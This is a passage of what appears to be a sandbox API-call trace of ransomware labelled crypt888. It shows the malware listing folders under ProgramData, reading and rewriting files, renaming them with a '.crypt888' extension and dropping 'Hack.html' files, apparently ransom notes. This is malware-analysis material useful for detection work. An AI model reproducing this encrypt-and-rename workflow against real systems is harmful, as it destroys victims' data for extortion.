lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html.crypt888", lpFilePart=0x0) returned 0x35 [0088.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0088.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\ehome\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb71f160, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb71f160, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc5ea3da0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0088.444] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\ehome\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\ehome\\hack.html.crypt888")) returned 1 [0088.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0088.444] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\logs", lpFilePart=0x0) returned 0x27 [0088.444] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\", lpFilePart=0x0) returned 0x28 [0088.444] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a528 [0088.445] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.445] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.445] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.445] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0088.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0088.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0088.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0088.445] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\logs", lpFilePart=0x0) returned 0x27 [0088.445] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\", lpFilePart=0x0) returned 0x28 [0088.445] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a528 [0088.445] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.445] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.446] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.446] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0088.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0088.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0088.446] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html", lpFilePart=0x0) returned 0x31 [0088.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0088.446] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.446] GetFileType (hFile=0x174) returned 0x1 [0088.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0088.446] GetFileType (hFile=0x174) returned 0x1 [0088.446] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0088.446] ReadFile (in: hFile=0x174, lpBuffer=0x280f44c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x280f44c*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0088.463] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html", lpFilePart=0x0) returned 0x31 [0088.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0088.463] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.464] GetFileType (hFile=0x174) returned 0x1 [0088.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0088.464] GetFileType (hFile=0x174) returned 0x1 [0088.464] WriteFile (in: hFile=0x174, lpBuffer=0x285d5b4*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x285d5b4*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0088.465] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html", lpFilePart=0x0) returned 0x31 [0088.466] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3a [0088.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0088.466] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb71f160, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb71f160, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc5ec9f00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0088.466] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs\\hack.html.crypt888")) returned 1 [0088.467] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html", lpFilePart=0x0) returned 0x31 [0088.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0088.467] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.467] GetFileType (hFile=0x174) returned 0x1 [0088.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0088.467] GetFileType (hFile=0x174) returned 0x1 [0088.468] WriteFile (in: hFile=0x174, lpBuffer=0x285fef4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x285fef4*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0088.469] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html", lpFilePart=0x0) returned 0x2c [0088.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0088.469] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\ehome\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.469] GetFileType (hFile=0x174) returned 0x1 [0088.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0088.469] GetFileType (hFile=0x174) returned 0x1 [0088.469] WriteFile (in: hFile=0x174, lpBuffer=0x28626ac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x28626ac*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0088.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.470] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x29 [0088.471] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\", lpFilePart=0x0) returned 0x2a [0088.471] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a128 [0088.471] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.471] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.471] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.471] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.471] FindClose (in: hFindFile=0x59a128 | out: hFindFile=0x59a128) returned 1 [0088.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.472] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x29 [0088.472] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\", lpFilePart=0x0) returned 0x2a [0088.472] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a128 [0088.472] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.472] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.472] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.473] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.473] FindClose (in: hFindFile=0x59a128 | out: hFindFile=0x59a128) returned 1 [0088.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.473] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0088.473] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.473] GetFileType (hFile=0x174) returned 0x1 [0088.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0088.473] GetFileType (hFile=0x174) returned 0x1 [0088.473] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.473] ReadFile (in: hFile=0x174, lpBuffer=0x2865044, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2865044*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.492] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0088.492] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.493] GetFileType (hFile=0x174) returned 0x1 [0088.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0088.493] GetFileType (hFile=0x174) returned 0x1 [0088.493] WriteFile (in: hFile=0x174, lpBuffer=0x28b31b0*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x28b31b0*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0088.494] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.494] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3c [0088.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0088.494] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb76b420, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb76b420, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc5f161c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0088.494] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\hack.html.crypt888")) returned 1 [0088.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0088.495] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views", lpFilePart=0x0) returned 0x2f [0088.495] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\", lpFilePart=0x0) returned 0x30 [0088.495] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0088.502] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.502] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.503] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.503] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.503] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0088.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0088.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0088.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0088.503] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views", lpFilePart=0x0) returned 0x2f [0088.503] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\", lpFilePart=0x0) returned 0x30 [0088.503] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0088.503] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.503] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.504] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.504] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.504] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0088.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0088.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0088.504] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html", lpFilePart=0x0) returned 0x39 [0088.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0088.504] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.504] GetFileType (hFile=0x174) returned 0x1 [0088.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0088.504] GetFileType (hFile=0x174) returned 0x1 [0088.504] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0088.504] ReadFile (in: hFile=0x174, lpBuffer=0x28b5fcc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x28b5fcc*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0088.547] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html", lpFilePart=0x0) returned 0x39 [0088.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0088.548] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.549] GetFileType (hFile=0x174) returned 0x1 [0088.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0088.549] GetFileType (hFile=0x174) returned 0x1 [0088.549] WriteFile (in: hFile=0x174, lpBuffer=0x2705b2c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x2705b2c*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0088.550] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html", lpFilePart=0x0) returned 0x39 [0088.550] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html.crypt888", lpFilePart=0x0) returned 0x42 [0088.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0088.550] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb76b420, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb76b420, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc5fae740, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0088.550] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\hack.html.crypt888")) returned 1 [0088.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0088.552] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", lpFilePart=0x0) returned 0x48 [0088.552] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\", lpFilePart=0x0) returned 0x49 [0088.552] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0088.552] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.552] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.552] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0088.553] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0088.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0088.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0088.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0088.553] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", lpFilePart=0x0) returned 0x48 